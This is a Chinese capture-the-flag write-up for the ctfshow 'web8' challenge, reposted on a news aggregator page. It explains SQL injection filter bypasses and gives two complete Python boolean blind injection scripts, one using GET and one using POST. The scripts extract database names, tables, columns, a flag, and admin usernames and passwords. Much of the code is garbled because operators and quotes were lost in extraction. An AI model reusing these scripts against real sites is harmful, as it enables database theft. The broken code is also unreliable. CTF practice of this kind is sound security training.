当前位置: 首页 > news >正文

ctfshow——web8

进入页面后访问三个文章发现参数id考虑存在sql注入尝试注入的过程中发现存在过滤抓包fuzz一下发现长度979的字符都被过滤了绕过方式空格绕过/**/and绕过or逗号绕过from 1 for 1,如substr(database(),1,1) substr(database() from 1 for 1)单引号绕过可以考虑转十六进制如user python代码 (user).encode().hex()这里注意单引号被过滤的情况下字符串注入基本就没戏了因为无法闭合但字符型注入还有操作空间因为字符型注入不管闭合与否结果不变回显注入没可能了尝试布尔盲注这里发现访问正常逻辑页面和错误逻辑页面不同布尔盲注可行通过脚本爆破出flag正常逻辑错误逻辑以if作为判断条件构造paylpoadhttp://2102cd05-573c-42d9-992b-403c2af22b85.challenge.ctf.show/index.php?id-1/**/or/**/ascii(substr((database())/**/from/**/1/**/for/**/1))128脚本#-*-coding:utf-8-*- import requests import time host http://055b4454-f1ad-4593-8acc-026894769c0a.challenge.ctf.show//index.php?id1 def getDatabase(): #获取数据库名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))%d % (i,mid) res requests.get(hostpayload) if if in res.text: high mid else: low mid 1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid - 1) print(database is - ans) def getTable(): #获取表名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemadatabase())/**/from/**/%d/**/for/**/1))%d % (i, mid) res requests.get(hostpayload) if if in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(table is - ans) def getColumn(): #获取列名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name\flag\)/**/from/**/%d/**/for/**/1))%d % (i, mid) res requests.get(hostpayload) if if in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(column is - ans) def dumpTable():#脱裤 global host ans for i in range(1,10000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/%d/**/for/**/1))%d % (i, mid) res requests.post(hostpayload) if if in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(dumpTable is - ans) dumpTable()flagctfshow{a164514e-efb2-44f6-8a3e-2964daef2db4}这是get传参的布尔盲注脚本下面分享下post传参的布尔盲注脚本#-*-coding:utf-8-*- import requests import time host http://web.jarvisoj.com:32787/login.php def getDatabase(): #获取数据库名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(database())),%d,1))%d)^1# % (i,mid) param {username:payload,password:admin} res requests.post(host,dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(database is - ans) def getTable(): #获取表名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),%d,1))%d)^1# % (i, mid) param {username: payload, password: admin} res requests.post(host,dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(table is - ans) def getColumn(): #获取列名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameadmin)),%d,1))%d)^1# % ( i, mid) param {username: payload, password: admin} res requests.post(host, dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(column is - ans) def dumpTable():#脱裤 global host ans for i in range(1,10000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))%d)^1# % ( i, mid) param {username: payload, password: admin} res requests.post(host, dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(dumpTable is - ans) dumpTable()
http://www.rkmt.cn/news/1295027.html

相关文章:

  • 你的思考深度,决定了AI的能力上限:与顶级编程AI高效协作的深度实践
  • m4s-converter终极指南:如何将B站缓存视频转换为通用MP4格式
  • realme GT Root 解BL锁 刷入ROOT
  • 避坑指南:用TimeGAN生成时间序列数据时,如何避免模式崩溃和过拟合?
  • 解决ClaudeCode访问不稳定问题将其接入Taotoken聚合通道
  • 问题求解葡萄酒
  • 别再只画拓扑了!用eNSP深度仿真医院网络:业务隔离、高可用与安全接入实战解析
  • Cadence IC617实战:用gm/id法搞定五管OTA运放设计,附完整参数计算与仿真避坑
  • 为什么87%的中大型企业Claude接入项目延期超6周?揭秘缺失的3层治理架构(附架构图)
  • 当机器人遇见城市:江南北如何重塑武汉的智能生活图景
  • OpenCV实战:用傅里叶变换和谱残差算法,一键找出图片里的‘视觉焦点’
  • 从布尔代数到芯片实现:深入解析加法器设计与Verilog实战
  • AI前端工程化实战指南:10大核心场景的“解题思路“与“避坑指南“
  • 对比官方价格Taotoken活动价在模型调用上的成本优势
  • 告别显示器!树莓派5无屏启动与远程配置全攻略(最新Raspberry Pi OS,含网络配置与VNC/SSH一键脚本)
  • LibreOffice Online 终极指南:如何在浏览器中实现免费办公协作
  • 如何快速掌握Winhance中文版:Windows优化终极指南
  • Heightmapper完全指南:5步将全球地形数据变成3D模型
  • RK3576 音视频网络传输总结(RTP / RTSP / UDP / H265)
  • Hermes Agent工具连接Taotoken大模型服务的配置指南
  • 终极解决方案:让苹果触控板在Windows上获得原生级精准触控体验
  • 电商冷启动实战:0.01元引流、50单破局、0差评与8.8%转化率
  • 从零到一:在面包板上构建一个4位加法器的完整实践
  • 大语言模型记忆增强框架:LightMem轻量化设计与工程实践
  • Excalidraw终极指南:快速掌握免费开源虚拟白板的完整使用技巧
  • TickGPTick:基于AI的智能任务管理助手设计与实战部署
  • CSerialPort不止于C++:手把手教你用Python/Node.js调用串口,快速构建上位机应用
  • 粤语语音合成精准度告急?ElevenLabs最新v2.5模型适配香港/广州/澳门三方口音对照表,速领!
  • 【ElevenLabs语音伦理合规白皮书】:面向银发群体的AI语音生成必须绕开的4类GDPR/《互联网信息服务深度合成管理规定》雷区
  • RK3568平台开发系列讲解(热拔插篇)内核是如何发送事件到用户空间